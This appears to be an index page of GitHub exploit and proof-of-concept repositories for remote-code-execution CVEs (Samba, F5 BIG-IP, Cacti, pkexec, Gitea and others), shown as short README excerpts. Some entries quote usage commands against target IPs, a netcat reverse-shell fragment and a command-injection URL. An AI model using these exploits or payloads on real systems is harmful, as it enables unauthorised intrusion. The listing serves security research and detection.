CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution

POC Repositorio: https://github.com/CybermonkX/CVE-2019-16278Nostromo-1.9.6---Remote-Code-Execution.git 📜 Descripción Este repositorio contiene un exploit en Python para CVE-2019-16278 , una vulnerabilidad en Nostromo 1.9.6 un servidor web. La vulnerabilidad permite la Ejecución Remota de Código...

CVE-2019-9193-Postgresql-RCE

uso: CVE-2019-9193.py -h -i IP -p PORT -d DATABASE -c COMMAND -t TIMEOUT -U USER -P PASSWORD ejemplo: python3 CVE-2019-9193.py -i 127.0.0.1 -p 5432 -U postgres -c 'id' ejemplo 2 : python3 CVE-2019-9193.py -h localhost -p 5432 -U postgres -c 'id' salida: + Conectando a la base de datos PostgreSQL ...

CVE-2019-15107_detection

CVE-2019-15107detection Este script determina si un servidor está ejecutando una versión vulnerable de Webmin. Webmin =1.920 inyección de comandos - CVE-2019-15107...

CVE-2025-25706

CVE-2025-25706 Descripción del elemento: Product Vendor: freebsdbrasil Item: ProApps - Enterprise Appliance Editor Creator: DreamWeaver PHP: PHP Version 7.3.18 Java Script Library: Jquery UI 1.6 | Jquery 1.2.6 Server: NGINX Operational System: FreeBDS Unix Tipo de vulnerabilidad: Ejecución remota...

Rust_CVE-2025-55182

Herramienta de explotación CVE-2025-55182 Versión Rust Resumen del proyecto Este proyecto es una herramienta de investigación de seguridad desarrollada en Rust, dirigida a la vulnerabilidad de ejecución remota de código RCE presente en [email protected]. Esta vulnerabilidad permite a un...

CVE-2020-10199_POC-EXP

Versiones afectadas + + EXP: python3 cve-2020-10199poc.py 1.1.1.1 8081 0.9567822851573897 edfca15e-c721-45e2-bdef-e8b3c6364ddb + + VER: Nexus Repository Manager OSS/Pro version...

CVE-2007-2447

CVE-2007-2447 PoC: Ejecución remota de comandos "usermap script" de Samba CVE histórico. Este repositorio contiene un pequeño script de prueba de concepto para investigación y revisión educativa. El script principal es usermapscriptCommandExecution.py. Referencia:...

Gitlab-CVE-2021-22205

Gitlab-CVE-2021-22205 Script de detección por lotes multihilo para CVE-2021-22205 Usar dnslog con poc para detección Usar múltiples hilos para detección Ejecución de comandos personalizable...

cve-2023-46747

CVE-2023-46747 Script de Exploit Este script explota la vulnerabilidad de ejecución remota de código en F5 BIG-IP TMUI CVE-2023-46747. Permite a un atacante no autenticado ejecutar comandos arbitrarios en un sistema F5 BIG-IP vulnerable. Tabla de contenido Características Requisitos Uso Parámetro...

poc-proxycommand-vulnerable

RCE mediante /.ssh/config inseguro El uso de tokens como %h, %p en ProxyCommand es bastante popular para utilizar túneles y proxy de conexión mediante SSH. Configuración vulnerable host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Nota: en mi evaluación inicial tenía l...

CVE-2022-1388

CVE-2022-1388 Vulnerabilidad de iControl REST en BIG-IP CVE-2022-1388 Esta vulnerabilidad puede permitir que un atacante no autenticado con acceso de red al sistema BIG-IP a través del puerto de administración y/o direcciones IP self ejecute comandos arbitrarios del sistema, cree o elimine archiv...

CVE-2023-46805

Escáner CVE-2023-46805 Escáner CVE-2023-46805 para posibles dispositivos Ivanti Connect Secure vulnerables por país utilizando Shodan. Versión del script: 1.3 Actualizado con la reciente publicación de blog hecha por Assetnote ⚠️ Este script tiene fines defensivos y debe ser utilizado por...

CVE-2023-45158

CVE-2023-45158 Steps 1. Run the webserver cd web2py python3 web2py.py 2. Inject your command using the URL http://:8000/hack?msg=%27%3B%3B%27. Replace and with your values. Examples 1. Create a file on the server http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. Reverse shell On the attacker's...

CVE-2022-46169

CVE 2022-46169 Este script explota una vulnerabilidad de inyección de comandos no autenticada en versiones de Cacti hasta la 1.2.22 para lograr ejecución remota de código no autenticada y obtener una shell inversa...

CVE-2015-1427

CVE-2015-1427 Parámetros -u URL única -l Archivo de URLs -c Comando...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Uso Explotar objetivo 10.129.232.46 en el puerto 445, enviar reverse shell a 10.10.14.82 en el puerto 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 Con rport y lport personalizados python3 CVE-2007-2447.py --rhost...

fwbt

fwbt Informe: https://www.labs.greynoise.io/grimoire/2024-08-20-bluuid-firewalla/ Código de prueba de concepto para la interacción con Firewalla a través de Bluetooth Low-Energy y la explotación de CVE-2024-40892 / CVE-2024-40893 Sin ninguna configuración, escaneará dispositivos Firewalla en las...

CVE-2025-54100

CVE-2025-54100 – PoC de análisis de respuestas de PowerShell Demuestra cómo CVE-2025-54100 provoca ejecución remota de código RCE en Windows PowerShell 5.1 mediante el análisis de HTML malicioso. ¿Qué es CVE-2025-54100? Tipo de vulnerabilidad: Riesgo de inyección de comandos cuando...

cve-2021-4034

CVE-2021-4034 Esta herramienta se usa para pkexec ejecución de un solo comando POC whoami test@localhost cc$ ./a.out /usr/bin/whoami execute success : root ping 8.8.8.8 test@localhost cc$ ./a.out /usr/bin/ping 8.8.8.8 execute success : PING 8.8.8.8 8.8.8.8 5684 bytes of data. 64 bytes from 8.8.8....

CVE-2022-30781

🍵 CVE-2022-30781 Gitea repository migration remote command execution exploit. How to use 1. Run an HTTP filesystem server with the files in this repository. 2. Edit the command to be exeucted in api/v1/repos/e99/exp/pulls/1/index.html L96. 3. Migrate remote repository with URL http:///e99/exp on...